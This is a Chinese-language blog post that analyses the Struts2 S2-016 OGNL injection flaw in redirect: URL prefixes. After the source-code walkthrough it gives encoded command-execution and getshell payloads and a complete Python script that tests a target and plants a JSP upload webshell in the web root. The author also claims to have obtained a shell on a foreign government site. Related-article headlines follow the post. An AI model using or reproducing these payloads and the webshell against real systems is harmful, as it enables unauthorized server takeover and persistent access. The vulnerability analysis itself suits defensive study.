Struts2漏洞之S2-016漏洞分析与exp编写



1、概述

S2-016是13年7月爆出的,那时候的我还没涉及Web安全研究。这次迟到的分析也算是对过去的补充。这个漏洞影响了Struts 2.3.15.1之前的所有版本。问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

2、漏洞分析

分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如:

http://www.foo.com/bar/hello.action?user!add

foo!bar这种形式是动态的调用action中的方法,其中foo是action,bar是方法名,但是调用的前提是在struts.xml中事先进行配置。

当然这只是一种,这个类还有个重要的作用就是处理redirect、redirectAction、method、action

method用来动态指明调用的方法,如调用hello中的execute方法,则可以传入url为:http;//www.foo.com/bar/hello.action?method:execute。

action用来指定其他的action,有了这个前缀,URL中的默认Action的execute方法不会被执行,而是执行其他action中的execute方法。

redirect一旦写定,同样不会执行默认action中的execute方法,而是重定向到其他的页面,内部通过ServletRedirectResult完成执行。

redirectAction同样会屏蔽默认action的方法,而是重定向到其他的Action,同样依靠ServletRedirectResult实现任务。

至于为什么redirect后面的东西就会当做Ognl执行呢?   继续往下分析源码。

传入如下URL给Struts2框架,并设置相应的断点。

Payload

127.0.0.1:8080/struts_hello/hello?redirect:

${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘).getWriter(),%23screen.println(%23d),%23screen.close()}

首先,在DefaultActionMapper中做的第一件事情就是将Action的名称和命名空间(namespace)给提取出来,接下来调用了两个方法,一个是handleSpecialParameters,主要是这个handleSepcialParameters方法中有问题。

首先要提取出redirect:${xxxxxx}作为key,然后调用execute方法。

继续跟进,发现是调用了构造方法中的其中一个,这里是根据识别的redirect前缀决定调用哪个put方法。

最最引人注目的就是这个redirect,这个redirect其实就是一个ServletRedirectResult的对象,前面也说过了,处理redirect前缀执行的就是这个类了,而这里只做了一件事,就是规定了重定向的方向,也就是逻辑流要跳转到哪里去。这个key.substring(REDIRECT_PREFIX).length()就是redirect:${xxxx}中的xxxx内容。

以上就是对URL进行一次预处理,并将运行环境和对象创建出来,接下来就是在StrutsPrepareAndExecution调用了executeAction方法:

有童鞋可能会问,这个mapping到底是什么呢?

其实这个mapping就可以看成这次请求的一个参数表,里面规定了redierect的location、Action的名称、namespace等等,继续跟进,就一路跟到了StrutsResultSupport中:

这个方法就是为了解析参数并用于Ognl表达式。其中的param参数是个String类型,其实就是${xxx}。

进入translateVariables,这个过程可以清楚看到Struts2的装饰过程,最终来到了TextParseUtil类中:

对参数进行说明,第一个参数是个字符数组,主要规定了"redirect:"与后面的大括号之间的符号,可以是$,也可以是%。

expression就是${xxxx}。stack就是当前的值栈。

这个方法中首先将大括号中的内容提取出来:

这些只是将Ognl表达式进行提取,说白了就是进行一系列的字符串操作,而执行则是通过下面的语句:

var是提取出来的Ognl表达式,就是大括号里面的内容。接着执行了stack.findValue方法,正是这个方法将Ognl表达式执行了,其实就是到了比较底层的OgnlUtil中进行语法树分析并执行,最后返回执行的结果。这个执行的过程就是在OgnlValueStack中实现的(对于树中的每个节点进行执行),这里涉及了Ognl语法树算法,这里不赘述。

分析到这里,相信很多人都会明白了这个Ognl是如何就执行的了,这也是Struts2漏洞的最根本的地方,每个Struts2漏洞都是围绕着Ognl表达式机制。探测和分析出不同的方法(各种payload的奇怪表示)都是为了最终让服务端执行我们的Ognl表达式代码。

3、总结

S2-016的根本原因就是没有对几个前缀的后面进行严格的过滤,导致黑客可以传入符合Ognl表达式语法规则的字符串,使得Struts2将其当做Ognl表达式在ValueStack中执行,从而造成了任意命令的执行,getshell啊、列目录、echo上传,本质上都是执行java代码。

4、S2-016的exp编写

分析清楚了漏洞的原理,其实写个exp不是太难了。不过这里有个大坑,就是我在调试exp的时候,发现这个漏洞不同于以往的s2漏洞。对于一些URL中的特殊字符,比如等于号、空格、中括号、双引号、#符号等,必须要严格进行urlencode才行,否则exp会执行失败,不知道后面是怎么运作的,有兴趣的童鞋可以尝试探索一下。

在最后,给出我的漏洞监测+getshell脚本,代码如下:

POC:

%23p%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘).getWriter(),%23p.println(%22hacker%22),%23p.close()

GETSHELL:

%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@[email protected]).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29

#coding=utf-8
import sys
import requests
class StrutsExploit():

	def __init__(self):
		self.webshell = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><html><head><title>system</title><meta http-equiv="keywords" content="system"><meta http-equiv="description" content="system"></head><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("up")){String url=request.getParameter("url");String text=request.getParameter("text");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>Failed<%}}if(i==0){%>Success<%}%><body><form action='' method='post'>path of your shell:<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="text">typing code here</textarea><br><input type="submit" value="up" name="text"/></form></body></html>'''
		self.payload = '''redirect:${%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@[email protected]).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29}'''
		self.detect_str = '''redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22HACKER%22),%23p.close()}'''

	'''获取shell的URL'''
	def getShellPath(self,url):
		rawurl = url
		count = 0
		i = 0
		lineIndex = []
		url = url.replace('http://','')
		for x in url:
			if x == '/':
				lineIndex.append(i)
				count += 1
			if count == 2:
				break
			i += 1
		if len(lineIndex) != 2:
			proDir = ''
			partOne = partOne = rawurl[0:lineIndex[0]+7]
		else:
			proDir = url[lineIndex[0]:lineIndex[1]]
			partOne = rawurl[0:lineIndex[0]+7]
		shellpath = "%s%s%s" % (partOne,proDir,"/system.jsp")
		return shellpath

	'''检测是否存在漏洞'''
	def detect(self,url):
		url = "%s?%s" % (url,self.detect_str)
		try:
			r = requests.get(url,timeout=10)
			page_content = r.content
			if page_content.find('HACKER') != -1:
				return True
			else:
				return False
		except Exception, e:
			print '[+]Exploit Failed:',e
			return False

	'''攻击 上传shell到根目录'''
	def getshell(self,url):
		target_url = "%s?%s" % (url,self.payload)
		data = {'t':self.webshell}
		try:
			r = requests.post(target_url,data=data,timeout=10)
			page_content = r.content
			if page_content.find('DONE') != -1:
				print '[+]Exploit Success,shell location:\n%s' % self.getShellPath(url)
			else:
				print '[+]Exploit Failed'
		except Exception, e:
			print '[+]Exploit Failed:',e
			return

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print '[+]Usage:python s2-016.py [target_url]'
		sys.exit()
	url = sys.argv[1]

	if not url.startswith('http://'):
		print '[+]URL is invalid!'
		sys.exit()
	print '[:-)]Target:%s' % url
	attacker = StrutsExploit()
	if attacker.detect(url):
		print '[+]This website is vulnerable!'
	else:
		print '[+]Sorry,exploit failed!'
		sys.exit()
	attacker.getshell(url)
		

测试运行结果:

shell结果(国外ZF网站):

时间: 2024-10-13 23:57:41

Struts2漏洞之S2-016漏洞分析与exp编写的相关文章

漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急漏洞公告.该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令. 漏洞危害 攻击者可在HTTP请求头部中的Content-Type字段构造恶意代码利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务

IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用

简介 首先这是一个IE的UAF的漏洞,由于IE 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞,可导致任意代码执行. 本文包含了分析与利用,包含了对象的申请,对象在何时释放,什么时候被占位等,在漏洞利用方面,metasploit生成的exp的heap Spray有点难看,就自己根据自己的经验写了exp 实验环境 Windows 7 Sp1 32位 IE 8 windbg IDA mona 漏洞分析 获得exp(poc) 搜了一下metasploit那

针对移动手机漏洞与安全支付现状分析

2014年,手机支付安全的状况越加不容乐观.而Android系统漏洞却加剧了这一现状.2014年2月18日,国内漏洞报告平台乌云发布紧急预警称,淘宝和支付宝认证被爆存在安全缺陷,黑客可以简单利用该漏洞登陆他人淘宝/支付宝账号进行操作,不清楚是否影响余额宝等业务. MasterKey漏洞 2013年7月底,国家互联网应急中心发布信息,Android操作系统存在一个签名验证绕过的高危漏洞即Masterkey漏洞(Android签名漏洞). 正常情况下,每个Android应用程序都会有一个数字签名,来

安全漏洞扫描,风险原因分析及解决方案

1 会话标识未更新 1.1 原因 在用户进入登录页面,但还未登录时,就已经产生了一个session,用户输入信息,登录以后,session的id不会改变,也就是说还是以前的那个session(事实上session也确实不会改变,因为没有建立新session,原来的session也没有被销毁). 很多人只是让会话invalidate没有用(request.getSession().invalidate();),是因为invalidate方法不是真正的将session销毁,只是将session中的内

乌云主站所有漏洞综合分析&amp;乌云主站漏洞统计

作者:RedFree 最近的工作需要将乌云历史上比较有含金量的漏洞分析出来,顺便对其它的数据进行了下分析:统计往往能说明问题及分析事物的发展规律,所以就有了此文.(漏洞数据抓取自乌云主站,漏洞编号从1-121018,抓取用时8h.)  1.漏洞总数SELECT count(*) FROM AllBugs     漏洞总数59630,编号数121018,所以审核通过率=59630/121018=0.49.27%.想想审核也够苦B的,每两个漏洞就有一个不合格…… 2.漏洞数量分析(sql没学好,不要

漏洞大爆光:QQ漏洞、飞秋漏洞、360浏览器劫持…

?? 随着互联网应用的快速发展,信息安全已深入到诸多领域,前段时间发生的"Struts 2"漏洞及"心脏出血"漏洞影响了二亿中国网民的信息安全,原因是程序员缺少仔细的安全检查导致的.作为程序员,此时我们应该更加关注程序的安全性才对,但现实情况是程序员关注的依然是程序功能的实现,仍然忽视了程序的安全性,以至于很多程序都存在安全漏洞.下面是传智播客C/C++学院仅仅学习了5个月C/C++语言的学生发现的部分软件漏洞:(更多软件漏洞将会持续发布...) 1.飞秋远程溢出漏

【0Day】栈溢出漏洞基础——简单输入漏洞 &amp; 修改返回函数

最近再次利用零零散散的时间,把第二章学完了. 感觉实验成功之后,还是非常开心的!嘿嘿. 书本上的理论可以很快的看完,但是真正实践的时候还是会出现一点问题的.一点点总结将在后面一起分享出来. 自己构造的漏洞代码,如果使用VS编译的话,debug版溢出了会报错,release版它自己把代码优化了,消除了溢出的漏洞. 看来好几年前的技术现在已经被防护的很彻底了呀.  所以说,学技术不能死学,要学习思想. 0x00 堆栈的基本原理 在调用一个call之后,堆栈的情况是这样的. call中记录的是前栈帧的

Struts2请求处理流程及源码分析

1.1 Struts2请求处理 1. 一个请求在Struts2框架中的处理步骤: a) 客户端初始化一个指向Servlet容器的请求: b) 根据Web.xml配置,请求首先经过ActionContextCleanUp过滤器,其为可选过滤器,这个过滤器对于Struts2和其他框架的集成很有帮助(SiteMesh Plugin),主要清理当前线程的ActionContext和Dispatcher: c) 请求经过插件过滤器,如:SiteMesh.etc等过滤器: d) 请求经过核心过滤器Filte

浅谈APP漏洞挖掘之逻辑漏洞

作者:Can 联系方式:[email protected] 文章中若无特别说明,实例皆为本人自主挖掘. 转载请注明出处,本文仅为个人经验总结,介绍的并非所有方法,只是一些最常见的方法.如有错误,烦请指出. 0x00 简介 本文主要介绍APP漏洞挖掘中逻辑漏洞,包括任意用户密码重置,支付漏洞,任意用户未授权登录. 0x01 任意用户密码重置正文 首先,我们来看看任意用户密码重置. 方法一:密码找回的凭证太弱,为4位或6位纯数字,并且时效过长,导致可爆破从而重置用户密码. 这里我们来看一个实例,目前